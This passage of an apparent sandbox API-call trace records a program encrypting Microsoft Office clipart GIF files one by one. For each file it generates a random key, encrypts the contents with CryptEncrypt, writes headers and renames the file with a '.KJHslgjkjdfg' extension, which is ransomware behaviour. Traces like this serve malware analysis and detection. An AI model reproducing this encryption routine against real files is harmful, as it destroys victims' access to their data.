office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.kjhslgjkjdfg")) returned 1 [0191.814] CloseHandle (hObject=0x130) returned 1 [0191.814] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0191.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.815] GetProcessHeap () returned 0x2ef0000 [0191.815] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.815] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.816] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.818] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.818] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.818] GetProcessHeap () returned 0x2ef0000 [0191.818] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.818] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.818] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.818] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.818] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.818] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.818] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.819] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.819] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.819] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.819] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b48, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b48, lpOverlapped=0x0) returned 1 [0191.820] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b50, dwBufLen=0x1b50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b50) returned 1 [0191.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.820] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b50, lpOverlapped=0x0) returned 1 [0191.820] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.820] SetEndOfFile (hFile=0x130) returned 1 [0191.823] GetProcessHeap () returned 0x2ef0000 [0191.823] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.823] GetProcessHeap () returned 0x2ef0000 [0191.823] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.kjhslgjkjdfg")) returned 1 [0191.825] CloseHandle (hObject=0x130) returned 1 [0191.924] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0191.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.925] GetProcessHeap () returned 0x2ef0000 [0191.925] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.925] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.925] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.925] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0191.931] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.931] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.931] GetProcessHeap () returned 0x2ef0000 [0191.931] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.931] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.931] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.931] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.931] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.931] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.931] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.932] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.932] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.932] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.932] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x33c6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x33c6, lpOverlapped=0x0) returned 1 [0191.933] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x33d0, dwBufLen=0x33d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x33d0) returned 1 [0191.933] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.933] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x33d0, lpOverlapped=0x0) returned 1 [0191.934] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.934] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x34a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.934] SetEndOfFile (hFile=0x130) returned 1 [0191.936] GetProcessHeap () returned 0x2ef0000 [0191.936] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.936] GetProcessHeap () returned 0x2ef0000 [0191.936] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.kjhslgjkjdfg")) returned 1 [0191.939] CloseHandle (hObject=0x130) returned 1 [0191.939] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0191.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.940] GetProcessHeap () returned 0x2ef0000 [0191.940] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.940] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.940] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0191.942] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.942] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.942] GetProcessHeap () returned 0x2ef0000 [0191.942] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.942] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.942] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.942] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.942] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.942] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.943] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.943] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.943] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.943] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.943] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2186, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2186, lpOverlapped=0x0) returned 1 [0191.944] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2190, dwBufLen=0x2190 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2190) returned 1 [0191.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.944] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2190, lpOverlapped=0x0) returned 1 [0191.944] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.944] SetEndOfFile (hFile=0x130) returned 1 [0191.946] GetProcessHeap () returned 0x2ef0000 [0191.946] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.946] GetProcessHeap () returned 0x2ef0000 [0191.947] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.947] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.kjhslgjkjdfg")) returned 1 [0191.951] CloseHandle (hObject=0x130) returned 1 [0191.951] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0191.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.951] GetProcessHeap () returned 0x2ef0000 [0191.951] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.951] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.952] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0191.954] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.954] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.954] GetProcessHeap () returned 0x2ef0000 [0191.954] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.954] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.954] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.954] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.954] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.954] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.954] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.955] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.955] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.955] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.955] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x131e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x131e, lpOverlapped=0x0) returned 1 [0191.956] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1320, dwBufLen=0x1320 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1320) returned 1 [0191.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.956] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1320, lpOverlapped=0x0) returned 1 [0191.956] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.956] SetEndOfFile (hFile=0x130) returned 1 [0191.966] GetProcessHeap () returned 0x2ef0000 [0191.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.966] GetProcessHeap () returned 0x2ef0000 [0191.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.kjhslgjkjdfg")) returned 1 [0191.992] CloseHandle (hObject=0x130) returned 1 [0191.993] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0191.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program 